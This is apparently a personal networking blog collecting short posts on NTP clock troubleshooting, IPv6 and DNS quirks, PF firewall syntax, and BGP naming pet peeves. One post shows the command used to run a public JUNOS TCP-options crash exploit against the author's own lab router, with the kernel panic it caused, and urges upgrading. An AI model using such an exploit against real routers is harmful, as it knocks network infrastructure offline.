Prolixium dot com: News >> Blog

Over the last couple of years I've been a resident of Charlotte, NC, I've observed that when we get winter weather, it's usually ice, not snow. Last night we got a little bit of both in what The Weather Channel called a Wintry Mix.

I took some more photos, too.

The roads aren't too great, and I saw drivers do a few stupid things (not waiting for a red light to change, and just driving right through the intersection) on my trip to the Y, around noon. In all honesty, I think walking is more dangerous than driving, at this point. I walked through some slush this morning, and when I walked over it again early this afternoon, it had turned to ice. The temperature continues to drop, making things very slippery. And, since it's all ice, none of the snowplows are even bothering to clear most of the roads.

Oh well. Staying home, for now.

Something very strange is going on with two pieces of equipment in my condo.

The clocks on both my Cisco 7965G IP phone and Logitech Squeezebox are running very slowly (somewhere between 1/5 and 1/10 normal speed), and constantly reverting back to 01:45 or so on Jan. 27th, 2010. Menus and animations on both devices run very slowly, too, like there is a hardware timer issue, or something.

I first thought this might be an NTP issue, so I did a few packet captures of the NTP traffic between the Cisco 7965G and my NTP server:

20:39:54.844785 IP (tos 0x0, ttl 64, id 38096, offset 0, flags [none], proto UDP (17), length 76)
    10.3.5.104.123 > 10.3.4.2.123: [no cksum] NTPv3, length 48
     Client, Leap indicator: clock unsynchronized (192), Stratum 15, poll 6s, precision -7
     Root Delay: 0.000000, Root dispersion: 2.009994, Reference-ID: 0.0.0.0
       Reference Timestamp:  0.000000000
       Originator Timestamp: 0.000000000
       Receive Timestamp:    0.000000000
       Transmit Timestamp:   3473567182.860354963 (2010/01/27 02:46:22)
         Originator - Receive Timestamp:  0.000000000
         Originator - Transmit Timestamp: 3473567182.860354963 (2010/01/27 02:46:22)
20:39:54.881551 IP (tos 0x0, ttl 63, id 0, offset 0, flags [DF], proto UDP (17), length 76)
    10.3.4.2.123 > 10.3.5.104.123: [udp sum ok] NTPv3, length 48
     Server, Leap indicator:  (0), Stratum 2, poll 6s, precision -20
     Root Delay: 0.043365, Root dispersion: 0.029220, Reference-ID: 209.51.161.238
       Reference Timestamp:  3473803857.861653736 (2010/01/29 20:30:57)
       Originator Timestamp: 3473567182.860354963 (2010/01/27 02:46:22)
       Receive Timestamp:    3473804394.862448562 (2010/01/29 20:39:54)
       Transmit Timestamp:   3473804394.862667697 (2010/01/29 20:39:54)
         Originator - Receive Timestamp:  +237212.002093598
         Originator - Transmit Timestamp: +237212.002312734

It kept doing that every couple of seconds, never setting the clock. Okay, maybe being +237212 seconds off prevented synchronization due to a sanity check of some sorts, so I manually set the clock (I ended up being 90 seconds off, but whatever). A few seconds later it reverted BACK to Jan. 27th! See below:

20:54:50.889287 IP (tos 0x0, ttl 64, id 40796, offset 0, flags [none], proto UDP (17), length 76)
    10.3.5.104.123 > 10.3.4.2.123: [no cksum] NTPv3, length 48
     Client, Leap indicator: clock unsynchronized (192), Stratum 15, poll 6s, precision -7
     Root Delay: 0.000000, Root dispersion: 2.009994, Reference-ID: 0.0.0.0
       Reference Timestamp:  0.000000000
       Originator Timestamp: 0.000000000
       Receive Timestamp:    0.000000000
       Transmit Timestamp:   3473805201.860325451 (2010/01/29 20:53:21)
         Originator - Receive Timestamp:  0.000000000
         Originator - Transmit Timestamp: 3473805201.860325451 (2010/01/29 20:53:21)
20:54:50.924125 IP (tos 0x0, ttl 63, id 0, offset 0, flags [DF], proto UDP (17), length 76)
    10.3.4.2.123 > 10.3.5.104.123: [udp sum ok] NTPv3, length 48
     Server, Leap indicator:  (0), Stratum 2, poll 6s, precision -20
     Root Delay: 0.043579, Root dispersion: 0.030624, Reference-ID: 209.51.161.238
       Reference Timestamp:  3473804882.860819613 (2010/01/29 20:48:02)
       Originator Timestamp: 3473805201.860325451 (2010/01/29 20:53:21)
       Receive Timestamp:    3473805290.909316960 (2010/01/29 20:54:50)
       Transmit Timestamp:   3473805290.909515881 (2010/01/29 20:54:50)
         Originator - Receive Timestamp:  +89.048991509
         Originator - Transmit Timestamp: +89.049190430
20:55:58.959742 IP (tos 0x0, ttl 64, id 41080, offset 0, flags [none], proto UDP (17), length 76)
    10.3.5.104.123 > 10.3.4.2.123: [no cksum] NTPv3, length 48
     Client, Leap indicator: clock unsynchronized (192), Stratum 15, poll 6s, precision -7
     Root Delay: 0.000000, Root dispersion: 2.009994, Reference-ID: 0.0.0.0
       Reference Timestamp:  0.000000000
       Originator Timestamp: 0.000000000
       Receive Timestamp:    0.000000000
       Transmit Timestamp:   3473564203.900366698 (2010/01/27 01:56:43)
         Originator - Receive Timestamp:  0.000000000
         Originator - Transmit Timestamp: 3473564203.900366698 (2010/01/27 01:56:43)
20:55:58.996647 IP (tos 0x0, ttl 63, id 0, offset 0, flags [DF], proto UDP (17), length 76)
    10.3.4.2.123 > 10.3.5.104.123: [udp sum ok] NTPv3, length 48
     Server, Leap indicator:  (0), Stratum 2, poll 6s, precision -20
     Root Delay: 0.043579, Root dispersion: 0.031646, Reference-ID: 209.51.161.238
       Reference Timestamp:  3473804882.860819613 (2010/01/29 20:48:02)
       Originator Timestamp: 3473564203.900366698 (2010/01/27 01:56:43)
       Receive Timestamp:    3473805358.982955623 (2010/01/29 20:55:58)
       Transmit Timestamp:   3473805358.983155598 (2010/01/29 20:55:58)
         Originator - Receive Timestamp:  +241155.082588925
         Originator - Transmit Timestamp: +241155.082788900

That shows the originator timestamp going back to the 27th!

To make matters worse, the Squeezebox apparently doesn't use NTP, it grabs time from the mysqueezebox.com service over a proprietary protocol. So, forget NTP being the issue.

Here's hh.mm.ss on the Squeezebox vs a normal clock:

Yes, the last two digits are seconds.

It blows my mind that two separate devices that don't share anything in common (they are even on different subnets) are experiencing the same problem. Perhaps I should call Fox Mulder.

Any ideas?

Update:

Apparently the time and date was wrong on my server (atlantis) that runs the Squeezebox server and TFTP server. The Squeezebox was getting the time from this server, not from mysqueezebox.com, and the Cisco 7965G was, for some odd reason, getting its time via TFTP, which overrode NTP!)

Actually, it looks like something is wrong with the hardware on my server:

(destiny:1:27)% time ssh atlantis time sleep 2
sleep 2  0.00s user 0.00s system 0% cpu 2.004 total
ssh atlantis time sleep 2  0.01s user 0.01s system 0% cpu 23.412 total

Time for a reboot, I guess.

It's starting!

;; ANSWER SECTION:
v5.lscache7.c.youtube.com. 86146 IN	CNAME	v5.lscache7.l.google.com.
v5.lscache7.l.google.com. 46	IN	AAAA	2001:4860:4001:402::1c

Too bad it's only for the Google over IPv6 program. Using other people's DNS servers breaks GSLB…

I'm getting sick and tired of the Appleism of everyday language. Apple likes to prefix lots of their products with a lowercase i. Things like iTunes and iPod are examples. However, it seems that many folks are applying the lowercase i to other things incorrectly. Two are really starting to bug me: types of BGP speakers and Iperf.

The Border Gateway Protocol (BGP) is a protocol used on the Internet to distribute reachability information between routers. A router can speak two types of BGP: internal BGP or external BGP (or both). RFC 4271 defines these terms in section 1.1:

   EBGP
      External BGP (BGP connection between external peers).

   IBGP
      Internal BGP (BGP connection between internal peers).

Yes, the RFC says IBGP and EBGP instead of iBGP and eBGP. If you write IBGP as iBGP you are wrong. Same goes for EBGP written as eBGP.

This really annoys me. Apple didn't invent BGP. They had nothing to do with it. You don't buy BGP in the iTunes store, or on your iPhone. You don't pay Apple a fee every month to use BGP (well, ok, in a way you do, since a minescule amount of Apple's network infrastructure costs are passed on to you if you use the App. Store or other Apple services - but who cares, that's not the point).

Please stop writing eBGP and iBGP.

The other application that is often written incorrectly is Iperf. Iperf is a Unix (and Windows) command-line network performance testing suite. It has a client & server version, and works over TCP or UDP. It even supports IPv6.

Iperf is written as Iperf, not iPerf. Apple didn't write it. It was written by some folks at NLANR/DAST. You can't buy it using iTunes, and you can't get the U2 version of it.

Please stop writing Iperf as iPerf. It's just wrong.

Thanks!

I just spent too long banging my head against this. Apparently in PF, this syntax:

table <mysubnet> const { 10.66.7.64/27 }
table <myhost> const { 10.66.7.65/32 }
rdr on $ext inet proto tcp from { <mysubnet>, ! <myhost> } to port www -> 10.66.4.36 port 80

Does NOT equal the following syntax:

table <mine> const { !10.66.7.65/32, 10.66.7.64/27 }
rdr on $ext inet proto tcp from <mine> to port www -> 10.66.4.36 port 80

The first syntax apparently doesn't allow for the exclusion of a host that lies within a subnet, if they're both separate tables (order doesn't matter, I tried both). The second creates a single table with the excluded host and the subnet, and it apparently works.

Now you know!

We all saw the JUNOS PSN (and news stories) about the TCP options vulnerability in JUNOS. Yep, now there's exploit code out there, and IT WORKS:

dax% sudo ./junos-crash.pl 10.3.4.35 179

Does this to one of my Olives:

stargazer (ttyd0)

login: 

Fatal trap 12: page fault while in kernel mode
fault virtual address   = 0x211
fault code              = supervisor read, page not present
instruction pointer     = 0x8:0xc032110a
stack pointer           = 0x10:0xc0836740
frame pointer           = 0x10:0xc0836770
code segment            = base 0x0, limit 0xfffff, type 0x1b
                        = DPL 0, pres 1, def32 1, gran 1
processor eflags        = interrupt enabled, resume, IOPL = 0
current process         = Idle
interrupt mask          = cam 
trap number             = 12
panic: page fault
panic(c0879c40,c0879c40,c07eb021,c0836624,5) at
panic(c07eb021,c,c0836770,c07d2141,0) at
trap_fatal(c0836700,211,c4213000,c08366ec,c02ff95e) at
trap_pfault(c0836700,0,211,0,c0836720) at
trap(10,10,10,c0836920,c0836848) at
calltrap() at
--- trap 0xc, eip = 0xc032110a, esp = 0xc0836740, ebp = 0xc0836770 ---
syncache_add(c0836848,c08368e8,c1b5a852,c08367ec,209,22,22,ac1d) at
tcp_input(209,a,3,4030a03,17) at

syncing disks... 
done
Uptime: 6d6h45m45s

Upgrade, upgrade!

If I'm reading this right, folks who have nameservers that don't have A RRs for their glue records will be out of luck come this March. Saw this message come to NANOG the other day.

For example, I'm ok:

(outcry:15:17)% host -t ns prolixium.com.
prolixium.com name server ns3.antiderivative.net.
prolixium.com name server ns2.antiderivative.net.
(outcry:15:18)% host -t a ns2.antiderivative.net. a.gtld-servers.net.
Using domain server:
Name: a.gtld-servers.net.
Address: 2001:503:a83e::2:30#53
Aliases: 

ns2.antiderivative.net has address 69.9.186.232
(outcry:15:18)% host -t a ns2.antiderivative.net. 69.9.186.232 
Using domain server:
Name: 69.9.186.232
Address: 69.9.186.232#53
Aliases: 

ns2.antiderivative.net has address 69.9.186.232

But this guy isn't:

(outcry:15:18)% host -t ns 150dollarsites.com.
150dollarsites.com name server ns956.websitewelcome.com.
150dollarsites.com name server ns955.websitewelcome.com.
(outcry:15:19)% host -t a ns955.websitewelcome.com. a.gtld-servers.net. 
Using domain server:
Name: a.gtld-servers.net.
Address: 2001:503:a83e::2:30#53
Aliases: 

ns955.websitewelcome.com has address 174.120.61.226
(outcry:15:19)% host -t a ns955.websitewelcome.com. 174.120.61.226 
Using domain server:
Name: 174.120.61.226
Address: 174.120.61.226#53
Aliases: 

Host ns955.websitewelcome.com not found: 5(REFUSED)

Seems like just common sense.. but I guess DNS is one of those things that is often implemented poorly.

Update: Oh, yeah, I guess VeriSign is authoritative for edu., too. Missed that.

I noticed from work and home today that Google via IPv6 (http://ipv6.google.com/ or http://www.google.com/ with Google over IPv6) was horribly slow and most of the time unresponsive. Turns out that Google may be chucking ICMPv6 type 2 messages (packet too big). See here.

Yeah, so these messages are just a tad crucial to PMTUD and royally break tunnelled things when they're filtered.

Google, unblock this, pretty please!

(tried this from work w/HE.net tunnel and via a tunnel to my box at Voxel that has native IPv6, however, some other folks don't seem to be affected)

Update: So, I started a thread about it on the ipv6-ops list…